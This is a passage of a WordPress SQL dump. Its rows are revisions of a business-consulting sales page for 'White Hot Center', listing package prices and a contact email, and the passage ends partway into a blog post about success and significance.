advantage. The holy of holies of who you are, and the legacy of your contribution to the world. What really matters to you is sacred, and dramatically so when it serves the good of others. This is where meaning and contribution intersect to form a life experience of joy, ease, freedom and creativity powered by the engine of your business– with the result being more financial abundance to invest in ever greater levels of growth and expansion.\r\n\r\n<strong>WhiteHotCenter Business Consulting </strong>\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #ff6600;">I inspire and guide creative entrepreneurs, small business leaders and solo professionals to discover and define the white hot center of their competitive advantage, then provide tools to best leverage that advantage for greater growth and success.</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><strong>White Hot Center Consulting provides guidance and creativity to help you discover, define and pursue your best opportunities to create value in the marketplace</strong></span></span><strong><span style="color: #ff6600;"><span style="color: #333333;">. Many of my clients are a seeking improvements in one or all of these areas :</span></span></strong>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><strong> personal and professional growth, (the inner game)\r\nlifestyle design, ( methods and tactics for creating what you want)</strong><strong>\r\nvalue creation ( innovation  / product development )</strong><strong>\r\ndemand generation, ( targeting, positioning, branding, marketing, sales communications)</strong></span></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;">For over 25 years, I have been a marketing, brand strategy and creative consultant to global companies and venture start-ups alike. My clients have included Acura, Brunswick, Coleman, Energizer, Food Lion, Herman Miller, Hewlett-Packard, Honda, La Z Boy, and Volkswagan USA. I have also worked with dozens of mid-size companies and venture-funded start-ups in diverse industries. I''m delighted to offer my nearly three decades of successful entrepreneurial and business building expertise to creative entrepreneurs and solo professionals who seek insight, inspiration and tools to take their business and their entire life to the next level.  I offer several levels of consulting engagements:<strong>\r\n</strong></span></span>\r\n<h2><span style="color: #ff6600;"> </span><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif"><img class="size-full wp-image-323 alignleft" title="enterprise-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif" alt="enterprise-2" width="225" height="222" /></a>Enterprise Level Consulting</h2>\r\nThis engagement is for mid-to-larger-scale enterprises with revenue of $10 million +. Typically this consulting package involves guidance to help business leaders and their teams gain more clarity and velocity to pursue their greatest opportunities to create new value for their customers. We collaborate on strategic issues of mission, values, positioning, brand strategy, differentiation, corporate and brand identity, and marketing communications to internal and external audiences. The business imperatives that drive this level of engagement typically involve new product introductions, growth challenges, mergers, inventing new companies, products or services, competitive threats to core markets or expansion into new markets.\r\n<strong><span style="color: #ff6600;">$50K+ USD This package is typically a 3-4 month engagement.\r\n<span style="color: #ff6600;"> </span></span><span style="color: #ff6600;"> </span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed for small business owners, creative entrepreneurs and solo professionals who have been in business for at least 3 years with sales revenues of less than $500,000.  Many entrepreneurs at this level experience greater complexity getting their business to the $1million+ level. If this describes your current circumstances, we can provide strategic and creative guidance to help you focus on what matters most to you and how you will serve others. From that increased awareness, you''ll experience notably more clarity and conviction to maintain the discipline necessary to provide more value to customers and clients, at the same time, creating more freedom and joy for you. You''ll gain deeper insight and clarity on the strategic issues facing your business and personal growth. You''ll create a highly differentiated positioning and value proposition that matters to your customers and elevates their perception of your value to them. Together we''ll outline tactics and develop the tools to help you express your unique advantage in ways that influence more demand for your products and services.\r\n<strong><span style="color: #ff6600;">$7500-10,000 USD This package is individually tailored and scaled to your particular needs, and is typically 4-6 weeks in duration.\r\n</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Package</h2>\r\nThis is a powerful, inspirational, game-changing,  expanding brain-storm session designed to ignite dreamers and schemers , start-up entrepreneurs, professionals and artists to gain more clarity and conviction to discover and define what matters most to them and develop the discipline to keep moving toward their vision of a bigger better future. Working within a defined structure, we jam together in conversation on your best thinking, and explore insights and new ideas about what''s required to get you there.. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (6) 60 minute Power Session Jam conference calls that are recorded and sent back to you for your future reference.\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $500 USD</span></strong>\r\nThe 60 minute session is designed to spark your imagination, ignite wild and daring ideas to inspire you toward realizing your vision. You’ll be asked lots of what-if and why-not questions in this rapid-fire, hour-long burn that sets the trajectory for realizing your big ideas. The call is recorded for your future reference.\r\n<strong> </strong>\r\n<h2><span style="color: #ff6600;"><span style="color: #333333;"><strong>How to start the burn!</strong></span>\r\nSend an email to me: <a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closely to realizing your vision for a bigger future. I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Clarity and confidence to create greater value!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2010-05-02 18:03:43', '2010-05-03 01:03:43', '', 138, 'http://www.whitehotcenter.com/2010/05/02/138-revision-72/', 0, 'revision', '', 0);
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(702, 2, '2010-03-11 10:49:47', '2010-03-11 17:49:47', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="453" height="173" /></h2>\r\n<h2><span style="color: #333333;">\r\n\r\n</span></h2>\r\n<span style="color: #333333;"> Success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is.</span>\r\n\r\n<span style="color: #ff6600;"> </span>Thinking is the seed of innovation, growth and expansion– and conversely, lack, limitation and powerlessness. Every great thing that ever was, is now, or ever will be, at first, is a formless thought seed in the creative mind. As the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"><strong></strong></span><span style="color: #000000;"><strong>“If you think you can or can’t– you’re right”.</strong></span>\r\n\r\nThere are two guiding principles that form the foundation of my point of view on creating a life of significance and meaning through the venue of your business:<span style="color: #ff6600;">\r\n</span>\r\n<h2><span style="color: #ff6600;">1) you must do what matters to you\r\n2) what you do must matter to others</span></h2>\r\nThese principals stand evergreen, and form the bedrock of your value proposition to the world. This is the white hot center of your competitive advantage. The holy of holies of who you are and the legacy of your contribution to the world. What really matters to you is sacred, and more so when it serves the good of others. This is where meaning and contribution intersect to form an experience of joy, ease, freedom and creativity within the venue of your business and in your whole life– with the result being more financial abundance to invest in ever greater levels of growth and expansion.\r\n<h2><span style="color: #ff6600;">I inspire corporate executives, managers, creative entrepreneurs, and professionals to discover and define the white hot center of their competitive advantage, and provide guidance to help them bring into physical form the expression of that advantage at every client, customer, or personal encounter. I offer three levels of consulting engagements:</span></h2>\r\n<h2><span style="color: #ff6600;"> </span><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif"><img class="size-full wp-image-323 alignleft" title="enterprise-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif" alt="enterprise-2" width="225" height="222" /></a>Enterprise Level\r\nConsulting Package</h2>\r\nThis engagement is for mid to larger-scale enterprises with revenue of $20 million +. Typically this package involves guidance and ideas with business leaders on the strategic issues of positioning, brand strategy, differentiation, naming, corporate and brand identity, and creative direction on the verbal and visual messaging of brand or corporate communications to internal and external audiences. The business imperatives that drive this level of engagement typically involve growth challenges, mergers, inventing new companies, products or services, competitive threats to core markets or expansion into new markets.\r\n<strong><span style="color: #ff6600;">$50K+ USD This package is typically a 3-4 month engagement.\r\n<span style="color: #ff6600;"> </span></span><span style="color: #ff6600;"> </span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed to provide small business owners, creative entrepreneurs and solo professionals with strategic and creative guidance to help them focus on discovering within themselves the creative and innovative power of their own white hot center–what matters most to them and how that will serve others. From that increased awareness, there is notably more clarity and conviction to maintain the discipline necessary to create business success. The outcome is deeper insight and clarity around the strategic issues facing your business and personal growth, develop a differentiated positioning that matters to your customers and elevates their perception of your brand and your business. We then outline tactics and develop the tools to help you express your unique advantage in ways that influence greater business results and a bigger future.\r\n<strong><span style="color: #ff6600;">$7500-15,000 USD This package is individually tailored and scaled to your particular needs, and is typically 4-6 weeks in duration.\r\n</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Package</h2>\r\nThis is a powerful, game-changing, brain-storm session designed to ignite individuals, solo entrepreneurs, professionals and artists to gain more clarity and conviction to discover what matters most to them and develop the discipline to pursue their vision of a bigger better future. Working within a structure, we jam on your best thinking, and develop a plan to move it into the physical form you desire. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (6) 1-hour Power Session Jam conference calls to help you discover and define your unique white hot center of competitive advantage then apply that awareness to more new business development and personal effectiveness tactics that will insure the result of your bigger future.\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $600 USD</span></strong>\r\nThe individual Power Session is designed to spark your imagination, ignite wild and daring ideas to inspire your greater awareness to what opportunities matter the most to you. You’ll be asked lots of “what-if” questions in this rapid-fire, hour-long burn that will guide the trajectory of your big ideas. We record the call and send an audio file back to for your future reference.\r\n<strong> </strong>\r\n<h2><span style="color: #ff6600;"><span style="color: #333333;"><strong>How to start the burn</strong></span>\r\nSend an email to me: <a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a fit. My purpose is to inspire and provide real value to help you move forward toward your vision for a bigger future. I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'White Hot Center Consulting ', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2010-03-11 10:49:47', '2010-03-11 17:49:47', '', 138, 'http://www.whitehotcenter.com/2010/03/11/138-revision-52/', 0, 'revision', '', 0),
(701, 2, '2009-09-04 12:38:17', '2009-09-04 19:38:17', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds1.gif"><img class="alignnone size-full wp-image-320" title="windseeds" src="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds1.gif" alt="windseeds" width="450" height="270" /></a><span style="color: #ff6600;">There are two simple operating principles behind every remarkable success in business and in life:</span></h2>\r\n<h2><span style="color: #ff6600;">1) you must do what matters to you\r\n2) what you do must matter to others</span></h2>\r\n<h2><span style="color: #333333;">\r\n\r\n</span></h2>\r\n<span style="color: #333333;">In nearly 30-years of consulting with marketing executives, managers, creative entrepreneurs and professionals from diverse industry categories, this is the white hot center of competitive advantage for individuals and organizations alike.  Success, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is.</span>\r\n\r\n<span style="color: #ff6600;"> </span>Thinking is the seed of innovation, growth and expansion– and conversely, lack, limitation and powerlessness. Every great thing that ever was, is now, or ever will be, at first, is a formless thought seed in the creative mind. As the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"><strong>\r\n</strong></span>\r\n<h2><span style="color: #ff6600;">“If you think you can or can’t– you’re right”.</span></h2>\r\nDespite our world of exponential change and transformation, these two guiding principles stand evergreen, and form the bedrock of your value proposition to the world. This is the white hot center of your competitive advantage. The holy of holies of who you are and the legacy of your contribution to the world. What really matters to you is sacred, and more so when it serves the good of others. This is where meaning and contribution intersect to form an experience of joy, ease, freedom and creativity within the venue of your business and in your whole life– with the result being more financial abundance to invest in ever greater levels of growth and expansion.\r\n<h2><span style="color: #ff6600;">I inspire corporate executives, managers, creative entrepreneurs, and professionals to discover and define the white hot center of their competitive advantage, and provide guidance to help them bring into physical form the expression of that advantage at every client, customer, or personal encounter. I offer three levels of consulting engagements:</span></h2>\r\n<h2><span style="color: #ff6600;"> </span><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif"><img class="size-full wp-image-323 alignleft" title="enterprise-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif" alt="enterprise-2" width="225" height="222" /></a>Enterprise Level\r\nConsulting Package</h2>\r\nThis engagement is for mid to larger-scale enterprises with revenue of $20 million +. Typically this package involves guidance and ideas with business leaders on the strategic issues of positioning, brand strategy, differentiation, naming, corporate and brand identity, and creative direction on the verbal and visual messaging of brand or corporate communications to internal and external audiences. The business imperatives that drive this level of engagement typically involve growth challenges, mergers, inventing new companies, products or services, competitive threats to core markets or expansion into new markets.\r\n<strong><span style="color: #ff6600;">$50K+ USD This package is typically a 3-4 month engagement.\r\n<span style="color: #ff6600;"> </span></span><span style="color: #ff6600;"> </span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed to provide small business owners, creative entrepreneurs and solo professionals with strategic and creative guidance to help them focus on discovering within themselves the creative and innovative power of their own white hot center–what matters most to them and how that will serve others. From that increased awareness, there is notably more clarity and conviction to maintain the discipline necessary to create business success. The outcome is deeper insight and clarity around the strategic issues facing your business and personal growth, develop a differentiated positioning that matters to your customers and elevates their perception of your brand and your business. We then outline tactics and develop the tools to help you express your unique advantage in ways that influence greater business results and a bigger future.\r\n<strong><span style="color: #ff6600;">$7500-15,000 USD This package is individually tailored and scaled to your particular needs, and is typically 4-6 weeks in duration.\r\n</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Package</h2>\r\nThis is a powerful, game-changing, brain-storm session designed to ignite individuals, solo entrepreneurs, professionals and artists to gain more clarity and conviction to discover what matters most to them and develop the discipline to pursue their vision of a bigger better future. Working within a structure, we jam on your best thinking, and develop a plan to move it into the physical form you desire. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (6) 1-hour Power Session Jam conference calls to help you discover and define your unique white hot center of competitive advantage then apply that awareness to more new business development and personal effectiveness tactics that will insure the result of your bigger future.\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $600 USD</span></strong>\r\nThe individual Power Session is designed to spark your imagination, ignite wild and daring ideas to inspire your greater awareness to what opportunities matter the most to you. You’ll be asked lots of “what-if” questions in this rapid-fire, hour-long burn that will guide the trajectory of your big ideas. We record the call and send an audio file back to for your future reference.\r\n<strong> </strong>\r\n<h2><span style="color: #ff6600;"><span style="color: #333333;"><strong>How to start the burn</strong></span>\r\nSend an email to me: <a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a fit. My purpose is to inspire and provide real value to help you move forward toward your vision for a bigger future. I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'White Hot Center Consulting Packages', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2009-09-04 12:38:17', '2009-09-04 19:38:17', '', 138, 'http://www.whitehotcenter.com/2009/09/04/138-revision-51/', 0, 'revision', '', 0),
(631, 2, '2009-08-26 11:02:37', '2009-08-26 18:02:37', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds1.gif"><img class="alignnone size-full wp-image-320" title="windseeds" src="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds1.gif" alt="windseeds" width="450" height="270" /></a><span style="color: #ff6600;">There are two simple operating principles behind every remarkable success in business and in life:</span></h2>\r\n<h2><span style="color: #ff6600;">1) you must do what matters to you\r\n2) what you do must matter to others</span></h2>\r\n<h2><span style="color: #333333;">\r\n\r\n</span></h2>\r\n<span style="color: #333333;">In nearly 30-years of consulting with marketing executives, managers, creative entrepreneurs and professionals from diverse industry categories, this is the white hot center of competitive advantage for individuals and organizations alike.  Success, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is.</span>\r\n\r\n<span style="color: #ff6600;"> </span>Thinking is the seed of innovation, growth and expansion– and conversely, lack, limitation and powerlessness. Every great thing that ever was, is now, or ever will be, at first, is a formless thought seed in the creative mind. As the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"><strong>\r\n</strong></span>\r\n<h2><span style="color: #ff6600;">“If you think you can or can’t– you’re right”.</span></h2>\r\nDespite our world of exponential change and transformation, these two guiding principles stand evergreen, and form the bedrock of your value proposition to the world. This is the white hot center of your competitive advantage. The holy of holies of who you are and the legacy of your contribution to the world. What really matters to you is sacred, and more so when it serves the good of others. This is where meaning and contribution intersect to form an experience of joy, ease, freedom and creativity within the venue of your business and in your whole life– with the result being more financial abundance to invest in ever greater levels of growth and expansion.\r\n<h2><span style="color: #ff6600;">I inspire corporate executives, managers, creative entrepreneurs, and professionals to discover and define the white hot center of their competitive advantage, and provide guidance to help them bring into physical form the expression of that advantage at every client, customer, or personal encounter. I offer three levels of consulting engagements:</span></h2>\r\n<h2><span style="color: #ff6600;"> </span><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif"><img class="size-full wp-image-323 alignleft" title="enterprise-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif" alt="enterprise-2" width="225" height="222" /></a>Enterprise Level\r\nConsulting Package</h2>\r\nThis engagement is for mid to larger-scale enterprises with revenue of $20 million +. Typically this package involves guidance and ideas with business leaders on the strategic issues of positioning, brand strategy, differentiation, naming, corporate and brand identity, and creative direction on the verbal and visual messaging of brand or corporate communications to internal and external audiences. The business imperatives that drive this level of engagement typically involve growth challenges, mergers, inventing new companies, products or services, competitive threats to core markets or expansion into new markets.\r\n<strong><span style="color: #ff6600;">$50K+ USD This package is typically a 3-4 month engagement.\r\n<span style="color: #ff6600;"> </span></span><span style="color: #ff6600;"></span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed to provide small business owners, creative entrepreneurs and solo professionals with strategic and creative guidance to help them focus on discovering within themselves the creative and innovative power of their own white hot center–what matters most to them and how that will serve others. From that increased awareness, there is notably more clarity and conviction to maintain the discipline necessary to create business success. The outcome is deeper insight and clarity around the strategic issues facing your business and personal growth, develop a differentiated positioning that matters to your customers and elevates their perception of your brand and your business. We then outline tactics and develop the tools to help you express your unique advantage in ways that influence greater business results and a bigger future.\r\n<strong><span style="color: #ff6600;">$7500-15,000 USD This package is individually tailored and scaled to your particular needs, and is typically 4-6 weeks in duration.\r\n</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Package</h2>\r\nThis is a powerful, game-changing, brain-storm session designed to ignite individuals, solo entrepreneurs, professionals and artists to gain more clarity and conviction to discover what matters most to them and develop the discipline to pursue their vision of a bigger better future. Working within a structure, we jam on your best thinking, and develop a plan to move it into the physical form you desire. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (6) 1-hour Power Session Jam conference calls to help you discover and define your unique white hot center of competitive advantage then apply that awareness to more new business development and personal effectiveness tactics that will insure the result of your bigger future.\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $600 USD</span></strong>\r\nThe individual Power Session is designed to spark your imagination, ignite wild and daring ideas to inspire your greater awareness to what opportunities matter the most to you. You’ll be asked lots of “what-if” questions in this rapid-fire, hour-long burn that will guide the trajectory of your big ideas. We record the call and send an audio file back to for your future reference.\r\n<strong> </strong>\r\n<h2><span style="color: #ff6600;"><strong>How to start the burn</strong>\r\nSend an email to me: <a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a fit. My purpose is to inspire and provide real value to help you move forward toward your vision for a bigger future.</span></h2>\r\n<strong>I can promise you by engaging in a White Hot Center Consulting Package you will be totally inspired and challenged to take your next bigger step. Playing a bigger game requires a better player. My work is based on contributing my talent and expertise to help you master the inner game that determines your outer results.  I can be a catalyst for meaningful change, increase your awareness of your unique capabilities, and inspire you to make courageous decisions about the strategic and creative nature of growing your influence and contribution to the world through the venue of your business. I am looking forward to working with you!\r\n</strong>\r\n\r\n<strong> </strong>', 'White Hot Center Consulting Packages', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2009-08-26 11:02:37', '2009-08-26 18:02:37', '', 138, 'http://www.whitehotcenter.com/2009/08/26/138-revision-50/', 0, 'revision', '', 0),
(627, 2, '2009-08-11 16:33:52', '2009-08-11 23:33:52', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds1.gif"><img class="alignnone size-full wp-image-320" title="windseeds" src="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds1.gif" alt="windseeds" width="450" height="270" /></a><span style="color: #ff6600;">There are two simple operating principles behind every remarkable success in business and in life:</span></h2>\r\n<h2><span style="color: #ff6600;">1) you must do what matters to you\r\n2) what you do must matter to others</span></h2>\r\n<h2><span style="color: #333333;">\r\n\r\n</span></h2>\r\n<span style="color: #333333;">In nearly 30-years of consulting with marketing executives, managers, creative entrepreneurs and professionals from diverse industry categories, this is the white hot center of competitive advantage for individuals and organizations alike.  Success, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is.</span>\r\n\r\n<span style="color: #ff6600;"> </span>Thinking is the seed of innovation, growth and expansion– and conversely, lack, limitation and powerlessness. Every great thing that ever was, is now, or ever will be, at first, is a formless thought seed in the creative mind. As the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"><strong>\r\n</strong></span>\r\n<h2><span style="color: #ff6600;">“If you think you can or can’t– you’re right”.</span></h2>\r\nDespite our world of exponential change and transformation, these two guiding principles stand evergreen, and form the bedrock of your value proposition to the world. This is the white hot center of your competitive advantage. The holy of holies of who you are and the legacy of your contribution to the world. What really matters to you is sacred, and more so when it serves the good of others. This is where meaning and contribution intersect to form an experience of joy, ease, freedom and creativity within the venue of your business and in your whole life– with the result being more financial abundance to invest in ever greater levels of growth and expansion.\r\n<h2><span style="color: #ff6600;">I inspire corporate executives, managers, creative entrepreneurs, and professionals to discover and define the white hot center of their competitive advantage, and provide guidance to help them bring into physical form the expression of that advantage at every client, customer, or personal encounter. I offer three levels of consulting engagements:</span></h2>\r\n<h2><span style="color: #ff6600;"> </span><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif"><img class="size-full wp-image-323 alignleft" title="enterprise-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif" alt="enterprise-2" width="225" height="222" /></a>Enterprise Level\r\nConsulting Package</h2>\r\nThis engagement is for mid to larger-scale enterprises with revenue of $20 million +. Typically this package involves guidance and ideas with business leaders on the strategic issues of positioning, brand strategy, differentiation, naming, corporate and brand identity, and creative direction on the verbal and visual messaging of brand or corporate communications to internal and external audiences. The business imperatives that drive this level of engagement typically involve growth challenges, mergers, inventing new companies, products or services, competitive threats to core markets or expansion into new markets.\r\n<strong><span style="color: #ff6600;">$50K+ USD This package is typically a 3-4 month engagement.\r\n<span style="color: #ff6600;">Learn more here</span></span><span style="color: #ff6600;">.</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed to provide small business owners, creative entrepreneurs and professionals with strategic and creative guidance to help them focus on discovering within themselves the creative and innovative power of their own white hot center–what matters most to them and how that will serve others. From that increased awareness, there is notably more clarity and conviction to maintain the discipline necessary to create the success we desire. The outcome here is to gain deeper insight and clarity around the strategic issues facing your business and personal growth, develop a differentiated positioning that matters to your customers and elevates their perception of your brand and your business. Then we develop the tools to help you express your unique advantage in ways that influence greater business results and a bigger future.\r\n<strong><span style="color: #ff6600;">$7500-15,000 USD This package is individually tailored and scaled to your particular needs, and is typically 6-8 weeks in duration.\r\nLearn more here.</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Package</h2>\r\nThis is a powerful, game-changing, brain-storm session designed to ignite individuals, solo entrepreneurs, professionals and artists to gain more clarity and conviction to discover what matters most to them and develop the discipline to pursue their vision of a bigger better future. Working within a structure, we jam on your best thinking, and develop a plan to move it into the physical form you desire. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (6) 1-hour Power Session Jam conference calls to help you discover and define your unique white hot center of competitive advantage then apply that awareness to more new business development and personal effectiveness tactics that will insure the result of your bigger future. <strong>Learn more here.</strong>\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $600 USD</span></strong>\r\nThe individual Power Session is designed to spark your imagination, ignite wild and daring ideas to inspire your greater awareness to what opportunities matter the most to you. You’ll be asked lots of “what-if” questions in this rapid-fire, hour-long burn that will guide the trajectory of your big ideas. We record the call and send an audio file back to for your future reference. <strong>Learn more here.</strong>\r\n<strong> </strong>\r\n<h2><span style="color: #ff6600;"><strong>How to start the burn</strong>\r\nSend an email to me: <a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a fit. My purpose is to inspire and provide real value to help you move forward toward your vision for a bigger future.</span></h2>\r\n<strong>The only result I can promise you from engaging in a White Hot Center Consulting Package is you will be totally inspired and challenged to take your next bigger step. Playing a bigger game requires a better player. My work is based on contributing my talent and expertise to help you master the inner game that determines your outer results.  All I can do is be a catalyst for change, increase your awareness of your unique capabilities, and inspire you to make courageous decisions about the strategic and creative nature of growing your influence and contribution to the world through the venue of your business. I am looking forward to working with you!\r\n</strong>\r\n\r\n<strong> </strong>', 'White Hot Center Consulting Packages', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2009-08-11 16:33:52', '2009-08-11 23:33:52', '', 138, 'http://www.whitehotcenter.com/2009/08/11/138-revision-49/', 0, 'revision', '', 0),
(314, 2, '2009-06-30 10:49:29', '2009-06-30 17:49:29', '', 'windseeds', 0, '', 'inherit', 'open', 'open', '', 'windseeds', '', '', '2009-06-30 10:49:29', '2009-06-30 17:49:29', '', 138, 'http://www.whitehotcenter.com/wp-content/uploads/2009/04/windseeds.gif', 0, 'attachment', 'image/gif', 0),
(141, 1, '2009-04-03 08:56:18', '2009-04-03 15:56:18', '<h2><span style="font-size: 20px; color: #bf5f00; font-family: Arial;">I have been doing some thinking lately about the difference between pursuing a successful life, or a life of significance. On the surface you might think these are one and the same. Can you experience one and not the other? Are these two attributes mutually exclusive, or do they indeed go hand in hand? </span></h2>\r\nMuch of what we may define as success is subjective, and largely based on the core beliefs about life and our reaction to it that are contained in our head–notably our sub-conscious minds. Everyone desires to create a successful life. I don’t think anyone with healthy mind starts out by consciously saying, “My goal is to be a complete failure in life”.  At least I have not yet met anyone with that point of view.  I think you would basically agree with the general statement: we all want to create success in our life. This begs the bigger question –what is success and will it make you happy?\r\n<h3>The Successful Life</h3>\r\nIn our western culture, most people believe that you are successful when you <em>achieve something. </em>The common self-help industry definition suggests you are successful when you are pursuing the <em>achievement of goals</em> that result in financial success, personal power and authority, mastery of knowledge, material possessions and outward status in your community. While there is nothing bad or 